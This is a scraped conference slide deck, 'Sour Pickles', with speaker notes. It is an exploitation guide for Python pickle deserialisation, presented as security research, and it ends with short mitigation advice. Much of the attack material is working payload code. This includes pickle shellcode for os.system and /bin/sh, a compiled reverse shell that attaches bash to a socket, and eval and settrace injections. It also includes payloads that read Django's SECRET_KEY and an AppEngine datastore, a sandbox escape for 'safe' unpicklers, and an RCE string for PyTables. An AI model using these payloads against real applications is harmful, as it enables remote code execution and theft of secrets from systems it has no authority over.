Successfully reported this slideshow.
Your SlideShare is downloading. ×

Sour Pickles

Loading in …3

Check these out next

1 of 97 Ad
1 of 97 Ad

More Related Content


Sour Pickles

  1. 1. Marco Slaviero<br />Sour PicklesA serialised exploitation guide in one part<br />
  2. 2. <ul><li>Pickle: who cares?
  3. 3. Pickle background and PVM
  4. 4. Attack scenarios
  5. 5. Shellcode and demos
  6. 6. / Anapickle
  7. 7. Bugs in the wild</li></ul>Free map enclosed<br />
  8. 8. Introduction: The theory<br /><br />
  9. 9. Introduction: The practice<br />
  10. 10. Bug found in Jan 2011 by @dbph<br />Want rsa in python?<br />easy_install rsa<br />This guy did ➢<br />Python module for send and receiving encrypted tweets. Relied on 'rsa' module<br />Follow the call chain<br />readTweet(tag, author)<br /> rsa.decrypt(cipher)<br /> rsa.gluechops(chops)<br /> rsa.unpicklechops(string)<br /> pickle.load(zlib.decompress(base64.decod estring(string)))<br />RCE via Twitter<br />Keep practicing son<br />
  11. 11. Assumption<br />We control input to loads()<br />Dig into Pickle exploitation<br />Explore the limits of what is possible<br />Build useful tools and shellcode<br />Find bugs<br />The fundamental issue is not new<br />But no public exploitation guide exists<br />(And what’s the world for, if we can’t exploit stuff?)<br />Goals<br />
  12. 12. Function X wants to send an object to Function Y<br />Separate processes & machines<br />You can<br />Build a custom marshalling protocol<br />Implement a public marshallingprotocol, such as ASN.1 or JSON<br />Rely on the underlying framework to convert the object to and from a stream of bytes, in a consistent way – the easiest<br />Built-in on numerous languages<br />Background: Serialisation<br />
  13. 13. Problem: how to send data from a process on one machine to a process on another<br />Solution: Serialisation<br />Options<br />Build your own<br />Use a public marshaling library e.g. ASN.1 or JSON<br />Use built-in functionality provided by the language & framework <br />Background: Serialisation<br />
  14. 14.
  15. 15.
  16. 16. Default method for serialisation (v2.3+)<br />Tightly integrated & opaque<br />Versioned<br />Used to be 7-bit, now supports 8-bit too<br />6 Pickle versions as of Python 3.2<br />Newer versions are backwards compatible<br />Old Python versions break on newer pickles<br />Two essential calls<br />dumps() takes as input a Python object and returns a serialised string. dump() is equivalent for files.<br />loads() takes as input a serialised string and returns a Python object. load() is equivalent for files.<br />Pickle and cPickle (compiled) essentially the same<br />Python’s Pickle<br />
  17. 17. Terminology<br />
  18. 18. Produces usable objects, not just data structures<br />Handles arbitrary objects without implementing Serializable or knowing anything about them<br />Reconstruction requires name in module path<br />loads() is the gateway to exploitation<br />naked loads() calls are our "gets()"<br />Skinning the Pickle<br />
  19. 19. Take instance of class Foo<br />Extract all attributes from the object (__dict__)<br />Convert the list of attributes into name-value pairs<br />Write the object’s class name to the picklestream<br />Write the attribute pairs into the stream<br />Object is reduced according to defined steps<br />Pickling Process<br />
  20. 20. Take pickle stream<br />Rebuild list of attributes<br />Create an object from the saved class name<br />Copy attributes into the new object<br />i.e. Can unpickle any object so long as the class can be instantiated<br />Expressive language used to rebuild arbitrary attributes<br />UnpicklingProcess<br />
  21. 21. pickle.loads() kicks off unpickling<br />Pickle relies on a tiny virtual machine<br />Pickle streams are actually programs<br />Instructions and data are interleaved<br />Lifting the Skirt<br />
  22. 22. The protocol requires:<br />Instruction processor (or engine)<br />Stack<br />Memo<br />Pickle Virtual Machine (PVM)<br />
  23. 23. Reads opcodes and arguments from the stream, starting at byte 0<br />Processes them, alters the stack/memo<br />Repeat until end of stream<br />Return top of the stack, as the deserialised object (when a STOP is encountered)<br />PVM Instruction Engine<br />
  24. 24. Basically indexed registers<br />Implemented as a Python dict in Pickle<br />Provides storage for the lifetime of the PVM<br />S'first string'<br />p199<br />Sparse array, can index non-sequentially<br />PVM Memo<br />Push a string<br />Save into memo<br />
  25. 25. Temporary storage for data, arguments, and objects used by the PVM<br />Implemented as a Python list in Pickle<br />Regular stack<br />Instructions load data onto the stack<br />Instructions remove and process stack items<br />Final object on the stack is the deserialised object<br />PVM Stack<br />
  26. 26. Not Python isomorphism<br />Opcodes are a single byte<br />Instructions that take arguments use newlines to delimit them<br />Not all opcode have args<br />Some opcodes have multiple args<br />Types of instructions: data loading, object creation, memo / stack manipulation<br />Data loading instructions read from the instruction stream, load onto the stack<br />No instructions to write into the instruction sequence<br />PVM Instructions<br />
  27. 27. Opcodes: data loading<br />
  28. 28. Opcodes: Stack/memo manipulation<br />
  29. 29. Opcodes: List, dict, tuple manipulation<br />
  30. 30. Instruction<br />sequence<br />(S'str1'<br />S'str2'<br />I1234<br />t<br />Stack<br />Opcodes: Example tuple<br />
  31. 31. Instruction <br />sequence<br />(S'str1'<br />S'str2'<br />I1234<br />t<br />Stack<br />Opcodes: Example tuple<br />
  32. 32. Instruction <br />sequence<br />(S'str1'<br />S'str2'<br />I1234<br />t<br />Stack<br />Opcodes: Example tuple<br />
  33. 33. Instruction <br />sequence<br />(S'str1'<br />S'str2'<br />I1234<br />t<br />Stack<br />Opcodes: Example tuple<br />
  34. 34. Instruction <br />sequence<br />(S'str1'<br />S'str2'<br />I1234<br />t<br />Stack<br />Opcodes: Example tuple<br />
  35. 35. Stack<br />Opcodes: Example tuple<br />Instruction <br />sequence<br />(S'str1'<br />S'str2'<br />I1234<br />t<br />
  36. 36. Opcodes: Object loading<br />
  37. 37. Instruction <br />sequence<br />c__builtin__<br />file<br />(S'/etc/passwd'<br />tR<br />Stack<br />Opcodes: Example load and call<br />
  38. 38. Instruction <br />sequence<br />c__builtin__<br />file<br />(S'/etc/passwd'<br />tR<br />Stack<br />Opcodes: Example load and call<br />
  39. 39. Instruction <br />sequence<br />c__builtin__<br />file<br />(S'/etc/passwd'<br />tR<br />Stack<br />Opcodes: Example load and call<br />
  40. 40. Instruction <br />sequence<br />c__builtin__<br />file<br />(S'/etc/passwd'<br />tR<br />Stack<br />Opcodes: Example load and call<br />
  41. 41. Instruction <br />sequence<br />c__builtin__<br />file<br />(S'/etc/passwd'<br />tR<br />Stack<br />Opcodes: Example load and call<br />
  42. 42. Instruction <br />sequence<br />c__builtin__<br />file<br />(S'/etc/passwd'<br />tR<br />Stack<br />Opcodes: Example load and call<br />'R' executes __builtin__.file('/etc/passwd')<br />
  43. 43. Can’t Pickle objects where it doesn’t make sense (e.g. open files, network sockets)<br />Opcodes<br />Set is not Turing complete in isolation<br />No comparison<br />No branching<br />Can’t directly manipulate its own stream<br />Can’t access Python variables<br />No exception handling or error checking<br />Class instances and methods not directly handled<br />Limited to data manipulation and method execution<br />In practice, does this matter?<br />Limitations<br />
  44. 44. Combination of GLOBAL and REDUCE means execution of Python callables<br />i.e. bad<br />Unvalidated or poorly validated input to loads() is very dangerous<br />also known <br />Previous work has focused on execution<br />no returned values<br />no embedding into host pickles<br />We can take this further<br />Problem?<br />
  45. 45. Create reliable shellcode that works across Python versions/platforms<br />Even when “harmful” methods are unavailable<br />Want shellcode that can modify the returned Python object<br />Immediate aims<br />
  46. 46. Demo<br />Pickle usage, calling dumps(), loads(), dis()<br />
  47. 47. Attack Scenarios(or getting hold of pickle streams)<br />
  48. 48. Successful approaches<br />
  49. 49. App stores pickles on disk with permissive file ACLs<br />Web application encodes cookie data in a pickle<br />Thick application uses pickle as RPC mechanism<br />Attack Examples<br />
  50. 50. Embedded shellcode can be inserted into a host pickle in a number of ways<br />Truncate and overwrite the stream<br />Prepend the stream<br />Append to the stream<br />Inject into the stream<br />How to choose?<br />Truncation? Alteration?<br />
  51. 51. Normal stream<br />
  52. 52. Truncation<br />
  53. 53. Appending<br />
  54. 54. Prepending<br />
  55. 55. Inserting<br />
  56. 56. Verdict: Either prepend or overwrite an entity and match types<br />
  57. 57. Handcrafted1<br />cos<br />system<br />S'ls –'<br />tR.<br />Generated2 (limited)<br />class RunBinSh(object):<br /> def __reduce__(self):<br /> return (subprocess.Popen, (('/bin/sh',),))<br />1<br />2<br />Shellcode Writing<br />No output!<br />cos<br />system<br />(S'printf -v a apos;%dapos; "apos;`uname -a | sed apos;s/.{2}(.).*/1/apos;`";exit $a;'<br />tR.<br />Not general enough<br />
  58. 58. Stick to version 0, pickle module<br />Attacker controls the entire pickle stream<br />Modified based on entity types<br />Primarily interested in Python callables<br />Base pattern:<br />c<module><br /><callable><br />(<args><br />tR<br />Principles<br />
  59. 59. Prepended streams must keep the stack empty<br />Inserted streams keep stack clean and use the memo for storage<br />Store in memo to avoid function composition f(g(),g(h()))<br />Don’t change entity types<br />Replacement entities to match original entities<br />Only callables in the top-level of modules are candidates for GLOBAL<br />Aim for deterministic / reliable shellcode<br />So long as the type of class instances is predictable, it’s possible to invoke named methods.<br />7 (achievable) guidelines for shellcode<br />
  60. 60. No opcode to call methods on class instances. i.e. Can’t do this<br />f=fopen('/path/to/massive/sikrit')<br /><br />We want this functionality though (can it be derived?)<br />Operations available<br />Load any top-level object<br />Execute callable objects<br />Craft Python data structures<br />Have stack/registers, will travel<br />Building blocks: Accessing class instances<br />
  61. 61. GLOBAL only loads top-level module objects<br />REDUCE will execute off the stack when a callable and an argument tuple are present<br />Look to Python introspection to load a callable handle on the stack<br />Building blocks: Accessing class instances<br />This is easy, opcodes support this trivially<br />The trick. How to load a handle to a class instance method?<br />
  62. 62. f=open('/path/to/massive/sikrit')<br /><br />Building blocks: Accessing class instances<br />
  63. 63. f=open('/path/to/massive/sikrit')<br /><br />Step 1 is easy:<br />c__builtin__<br />open<br />(S'/path/to/massive/sikrit'<br />tRp100 (Open file handle now at m[100])<br />Building blocks: Accessing class instances<br />
  64. 64. f=open('/path/to/massive/sikrit')<br /><br />apply() invokes a method handle on an argument list<br />__builtin__.apply(, [f])<br />But we still need a handle to<br />getattr() returns the attribute for a supplied name<br /> __builtin__.getattr(file,'read')<br />Lastly, file can be loaded easily<br />Combined<br />__builtin__.apply( __builtin__.getattr(file,'read'), [f])<br />Building blocks: Accessing class instances<br />
  65. 65. f=open('/path/to/massive/sikrit')<br /><br />Step 2:<br />c__builtin__<br />apply<br />(c__builtin__<br />getattr<br />(c__builtin__<br />file<br />S'read'<br />tR(g100<br />ltR<br />Building blocks: Accessing class instances<br />Violates guideline for avoiding composition<br />Quite unreadable<br />Applies on the object stored at m[100] (previously opened file)<br />
  66. 66. More general template. Calls methnm() on an instance of Uses memo slots i and j for intermediate storage.<br />c__builtin__<br />getattr<br />(<br />cls<br />S'methnm'<br />tRpj<br />0c__builtin__<br />apply<br />(gj<br />gi<br />ltR<br />Building blocks: Accessing class instances<br />Loads<br />Calls methnm()<br />
  67. 67. I1000<br />ltRp102<br />0c__builtin__<br />getattr<br />(c__builtin__<br />file<br />S'close'<br />tRp103<br />0c__builtin__<br />apply<br />(g103<br />(g100<br />ltRp104<br />0g102<br />c__builtin__<br />open<br />(S'/etc/passwd'<br />tRp100<br />0c__builtin__<br />getattr<br />(c__builtin__<br />file<br />S'read'<br />tRp101<br />0c__builtin__<br />apply<br />(g101<br />(g100<br />Building blocks: Accessing class instances<br />Open file, save class instance at <br />m[100], clear stack<br />Get handle to, save at <br />m[101]<br />Now call file.close(). Note it uses the saved instance; no composition required<br />m[102] is returned<br />Call apply(<handle>,<instance>)<br />
  68. 68. cmodule<br />__dict__<br />pi<br />0<br />c__builtin__<br />getattr<br />(gi<br />S('__getitem__'<br />tRpj<br />0gj<br />(S'constant'<br />tRpsaved<br />0<br />Building blocks: Accessing module constants<br />Load reference to __dict__<br />Obtain reference to module.__dict__.__getitem__<br />Call module.__dict__.__getitem__(constant)<br />
  69. 69. Wrapped or direct exploits<br />Unique shellcode per task?<br />Parameterise the shellcode using a more accessible language<br />Back channels<br />Assume fields from the unpickled object are displayed<br />Not a requirement (think findsock)<br />Length<br />Bound by Python’s internal string and list types<br />Runtime<br />Is persistent shellcode possible?<br />Automation<br />Nothing special about the conversion, so automate it<br />Shellcode considerations<br />
  70. 70. f ='foo','w',)<br />r = f.write('line1nline2',) [__builtin__.file]<br />q = __builtin__.str('Finished',)<br />q<br />c__builtin__<br />open<br />(S'foo'<br />S'w'<br />tRp100<br />0c__builtin__<br />getattr<br />(c__builtin__<br />file<br />S'write'<br />tRp101<br />0c__builtin__<br />Tool 1:<br />apply<br />(g101<br />(g100<br />S'line1line2'<br />ltRp102<br />0c__builtin__<br />str<br />(S'Finished'<br />tRp103<br />0g103<br />
  71. 71. Input is a sequence of Python-like statements (mostly calls)<br />Statements are annotated to indicate type<br />Output is standalone or snippets of equivalent Pickle<br /><br />
  72. 72. Now no need to care about opcodes<br />
  73. 73. Info<br />Get globals/locals list<br />Fingerprint the Python runtime (paths, versions, argv, loaded modules)<br />Process handling<br />Return status of os.system()<br />Output of os.popen()<br />Output of subprocess.check_output()<br />Bindshell<br />Reverse shell<br />Files operations<br />Runtime<br />Run eval() with supplied code<br />Inject Python debugger (settrace())<br />Frameworks<br />Django retrieval of configuration items (incl SECRET_KEY, DATABASES)<br />AppEngine retrieval of userids, Kinds (and their Properties)<br />AppEnginge call output functions directly<br />Shellcode Library<br />
  74. 74. Info<br />Get globals/locals list<br />Fingerprint the Python runtime (paths, versions, argv, loaded modules)<br />Process handling<br />Return status of os.system()<br />Output of os.popen()<br />Output of subprocess.check_output()<br />Bindshell<br />Reverse shell<br />Files operations<br />Runtime<br />Run eval() with supplied code<br />Inject Python debugger (settrace())<br />Frameworks<br />Django retrieval of configuration items (incl SECRET_KEY, DATABASES)<br />AppEngine retrieval of userids, Kinds (and their Properties)<br />AppEnginge call output functions directly<br />Shellcode Library<br />
  75. 75. afinet = socket.AF_INET {const}<br />sstream = socket.SOCK_STREAM {const}<br />ttcp = socket.IPPROTO_TCP {const}<br />solsocket = socket.SOL_SOCKET {const}<br />reuseaddr = socket.SO_REUSEADDR {const}<br />sock = socket.socket(afinet,sstream,ttcp,)<br />q = sock.setsockopt(solsocket,reuseaddr,1) [socket.socket]<br />conn = sock.connect(('localhost',55555,),) [socket.socket]<br />fileno = sock.fileno() [socket._socketobject]<br />fd =,)<br />subproc = subprocess.Popen(('/bin/bash',),0,'/bin/bash', fd, fd, fd,)<br />Reverseshell: Input<br />
  76. 76. "csocket__dict__p1010c__builtin__getattr(g101S'__getitem__'tRp1020g102(S'AF_INET'tRp1000csocket__dict__p1040c__builtin__getattr(g104S'__getitem__'tRp1050g105(S'SOCK_STREAM'tRp1030csocket__dict__p1070c__builtin__getattr(g107S'__getitem__'tRp1080g108(S'IPPROTO_TCP'tRp1060csocket__dict__p1100c__builtin__getattr(g110S'__getitem__'tRp1110g111(S'SOL_SOCKET'tRp1090csocket__dict__p1130c__builtin__getattr(g113S'__getitem__'tRp1140g114(S'SO_REUSEADDR'tRp1120csocketsocket(g100g103g106tRp1150c__builtin__getattr(csocketsocketS'setsockopt'tRp1160c__builtin__apply(g116(g115g109g112I1ltRp1170c__builtin__getattr(csocketsocketS'connect'tRp1180c__builtin__apply(g118(g115(S'localhost'I55555tltRp1190c__builtin__getattr(csocket_socketobjectS'fileno'tRp1200c__builtin__apply(g120(g115ltRp1210c__builtin__int(g121tRp1220csubprocessPopen((S'/bin/bash'tI0S'/bin/bash'g122g122g122tRp1230S'finished'."<br />Reverseshell: Output<br />
  77. 77. Demo<br />reverseshell shellcode<br />
  78. 78. g = __builtin__.globals()<br />f = __builtin__.compile('import os; os.system("sleep 0");picklesmashed="foo";','','exec',)<br />r = __builtin__.eval(f,g,)<br />e = g.get('picklesmashed',) [__builtin__.dict]<br />e<br />Eval: Input<br />import urllib2<br />picklesmashed=""<br />try:<br /> for l in urllib2.urlopen("http://www.googl").readlines():<br /> picklesmashed += l.replace("<","&l t;").replace(">","&gt;")<br />except:<br /> pass<br /><ul><li>eval()’ed code writes into the global var “picklesmashed”
  79. 79. Shellcode returns this value of “picklesmashed”
  80. 80. Can thus retrieve output from the eval()</li></li></ul><li>Demo<br />eval() shellcode<br />
  81. 81. g = __builtin__.globals()<br />f = __builtin__.compile('def t(frame,event,arg):ntif event=="call":ntttry:ntttprint frame.f_locals.items()nttexcept Exception:ntttprint "e"','','exec',)<br />r = __builtin__.eval(f,g,)<br />e = g.get('t',) [__builtin__.dict]<br />x = sys.settrace(e,)<br />"finished"<br />settrace shellcode: Input<br />def t(frame,event,arg):<br /> if event=="call":<br /> try:<br /> print frame.f_locals.items()<br /> except Exception:<br /> print "e"<br /><ul><li>Python code block that defines a method is compiled and saved
  82. 82. eval() is called to create the new method
  83. 83. new method is passed to settrace()</li></li></ul><li>Demo<br />settrace() shellcode<br />
  84. 84. a = django.core.mail.send_mail('Subject here', 'Here is the message.', '',[''])<br />b = django.conf.settings<br />g = __builtin__.getattr(b,'SECRET_KEY')<br />g<br />Django config read: Input<br /><ul><li>Execute Django mail sending
  85. 85. Retrieve Django configuration</li></li></ul><li>Demo<br />Django shellcode<br />
  86. 86. g = __builtin__.globals()<br />f = __builtin__.compile('import google.appengine.ext.dbfrom google.appengine.ext.db.metadata import *picklesmashed=""q = google.appengine.ext.db.GqlQuery("SELECT __key__ from __property__")for p in q.fetch(100): picklesmashed+="%s:%sn" % (google.appengine.ext.db.metadata.Property.key_to_kind(p), google.appengine.ext.db.metadata.Property.key_to_property(p))','','exec',)<br />r = __builtin__.eval(f,g,)<br />e = g.get('picklesmashed',) [__builtin__.dict]<br />e<br />AppEngine: Input<br />import google.appengine.ext.db<br />from google.appengine.ext.db.metadata import *<br />picklesmashed=""<br />q = google.appengine.ext.db.GqlQuery("SELECT __key__ from __property__")<br />for p in q.fetch(100):<br /> picklesmashed+="%s:%s" %(google.appengine.ex t.db.metadata.Property.key_to_kind(p), google.appe ngine.ext.db.metadata.Property.key_to_property(p))<br /><ul><li>Reuses the eval() shellcode
  87. 87. Python payload implements iteration
  88. 88. Using this technique, could extract the datastore</li></li></ul><li>Demo<br />AppEngine shellcode<br />
  89. 89. Pickle multitool<br />Simulates pickles (safely)<br />Extracts embedded callable names<br />Extracts entities and their types<br />Summarises the pickle<br />Generates shellcode according to provided parameters<br />Library is parameterised e.g. port number, host names, Python for eval() etc<br />Applies wrapper functions<br />Inserts shellcode smartly<br />Performs type checking on the shellcode and the entity it is replacing<br />Tool 2: Anapickle<br />
  90. 90. Demo<br />Anapickle<br />
  91. 91. Looked on Google Code, Nullege, Sourceforge, Google, Pastebin<br />Approaches<br />Strings with strong likelihood of being bad<br />More general loads() review<br />Application survey<br />"pickle.loads(recv"<br />"pickle.loads(net"<br />"pickle.loads(.*decompress"<br />"pickle.loads(.*decode"<br />"pickle.loads(.*url"<br />"pickle.loads(packet"<br />"pickle.loads(msg"<br />"pickle.loads(data"<br />"pickle.loads(message"<br />"pickle.loads(buffer"<br />"pickle.loads(req"<br />
  92. 92. Examples for naked loads() found in web apps, thick apps, security apps, modules<br />Not endemic, but not hard to find<br />Network-based<br />Evil party<br />MitM<br />File-based<br />Cache-based<br />Results: so much for the warnings<br />
  93. 93. Example 1<br />
  94. 94. "PyTables is a package for managing hierarchical datasets and designed to efficiently and easily cope with extremely large amounts of data" –<br />Example 2: PyTables<br />import tables<br />f = tables.openFile( 'somefile', 'w' )<br />node = f.createTable( f.root, 'sometable', { 'col': tables.StringCol(10) }, title = "cospopen(S'sleep 10'tRp1000c__builtin__getattr(c__builtin__fileS'read'tRp1010c__builtin__apply(g101(g100I1000ltRp1020c__builtin__getattr(c__builtin__fileS'close'tRp1030c__builtin__apply(g103(g100ltRp1040g102." )<br />I.e. if users control table titles, they get RCE<br />
  95. 95. Peach fuzzer supports agent-based fuzzing<br />Agent and controller communicate over the network<br />Unauthenticated (well, by the time auth happens it's too late)<br />Using pickle<br />Example 3: Peach fuzzer<br />
  96. 96. demo<br />Peach fuzzer<br />
  97. 97. First torrent-based p2p streaming media finder / player / community thing<br />Research project from Delft University of Technology and Vrije Universiteit Amsterdam (10 PhDs, 2 postdoc, significant cash)<br />Research platform supports stats gathering<br />Pickle used to transport data<br />Clients only accept Pickles from verified researchers<br />Researchers accept Pickles from any client<br />Two attacks<br />Researchers own clients<br />Clients own researchers<br />Example 4: Tribler<br />
  98. 98. RedHat Enterprise Linux and Fedora ship a GUI firewall config tool<br />Be default, only available to admins<br />However, permission can be delegated via PolKit for certain users to only configure the firewall<br />Required action for sharing printers<br />I.e. in a large-scale RHEL/Fedora deployment, not unlikely<br />GUI runs as the logged in user<br />Backend runs as 'root'<br />Each talks via dbus to the other, passing pickles in the process<br />I.e. low-priv client sends code that is executed by 'root'<br />SELinux saves you (except from DoS)<br />CVE-2011-2520<br />Thanks to velcro on #zacon for the initial test <br />Example 5: system-firewall-config<br />
  99. 99. RedHat Enterprise Linux and Fedora ship a GUI firewall config tool<br />Be default, only available to admins<br />However, permission can be delegated via PolKit for certain users to only configure the firewall<br />Required action for sharing printers<br />I.e. in a large-scale RHEL/Fedora deployment, not unlikely<br />GUI runs as the logged in user<br />Backend runs as 'root'<br />Each talks via dbus to the other, passing pickles in the process<br />I.e. low-priv client sends code that is executed by 'root'<br />SELinux saves you (except from DoS)<br />CVE-2011-2520<br />Example 5: system-firewall-config<br />
  100. 100. demo<br />system-config-firewall<br />
  101. 101. When Pickle is a transport<br />Don't use if parties are unequally trusted<br />Don't allow the possibility of alteration in transit (use SSL or sign pickles)<br />When Pickle is a storage<br />Review filesystem permissions<br />Prevent TOCTOUs<br />Review requirement for Pickle<br />JSON is a drop in replacement for data transport<br />pickle.dumps -> json.dumps<br />pickle.loads -> json.loads<br />Protections<br />
  102. 102. Occasional reference to safe unpicklers<br />They override the class loader, implementing either whitelists or blacklists<br />Hard to get right<br />Here's an escape using four builtins (globals, getattr, dict, apply)<br />c__builtin__globals(tRp1000c__builtin__getattr(c__builtin__dictS'g et'tRp1010c__builtin__apply(g101(g100S'loads'ltRp102(S'cos nsystemn(S'sleep 10'ntR.'tR<br />Lesson: don't try sanitise pickle. Trust or reject<br />"Safe" Unpicklers<br />
  103. 103. Extend Anapickle to later versions<br />Embed Python bytecode in Pickles<br />Look for pickle stream injection in dumps()<br />Explore output handling<br />Future considerations<br />
  104. 104. Pickles have a known vulnerability<br />No public exploitation guides<br />Covered the PVM<br />Attack scenarios<br />Shellcode guidelines<br />Released a shellcode library<br /> a tool for writing shellcode<br />Anapickle, a tool for manipulating pickles<br />Application survey find bugs in the wild<br />Summary<br />
  105. 105. Questions?<br />Also, please fill in the feedback forms<br />

Editor's Notes

  • This is the theoryOur focus is weaponised exploitation
  • still can find this code with minimal searching in projects.
  • #DSD This is an alternative for the previous slide based on your description to me, but I may have gotten it badly wrong 
  • #DSD Spaced it out. The last line felt like a speaking note to you, tried to make it a sentence
  • - More than a set of rules for converting data structures to transport-ready formats - Pickle converts between objects and streams, pickling and unpickling
  • I say “Protocol requires”, as the cPickle implementation of the stack will be different to the Pickle one.Default module is entirely implemented in python; cPickle is implemented in C.
  • For newer pickle versions, content snooping is performed to test whether the pickle conforms to a later protocol version
  • GLOBAL is almost always used to load callable modules. However, it is not a requirement of the instruction, which will happily load non-callables.
  • Now that we&apos;ve discussed how an attacker gets hold of pickle streams and where they want to write to, what should they write?Generated shellcode is limited. - Can express callable execution - Can&apos;t express memo storage, stack manilpulationThese examples are simple and not production ready or reliable.
  • - Pickle is backwards compatible, so writing in the old format is easier to handcraft and will continue to work. Difference between pickle and cPickle for almost all malpickles is zero. - Assuming entire stream is under attacker control. Could also work if not. - Goal is to run Python callables, rather than fiddle with the object that is being unpickled. - Along the way, we manipulate the unpickled object, possibly as a transport method.
  • Again, GLOBAL usually functions with callables, but is not required to.
  • Start with this sequence: will look to instantiate a file object and call its read method
  • - One could either attempt to convert the requisite Python into a series of class instances calls (meaning unique shellcode per exploit), or a single exploit could be written that paramterises the payload in a higher-level language such as bash or Python.- have unpickled streams many MBs in length
  • Platform independent (apart from bash). Also sets reuseaddr. Remember, it&apos;s not Python but input into
  • Not way we&apos;re going to handcraft this reliably. The conversion is a strong speed up.
  • now that we can generate shellcode, we need a tool to manipulate pickles
  • Talk about the file-based and cache-based attacks, as we don&apos;t include those examples in the slidedeck
  • It&apos;s true peer-to-peer!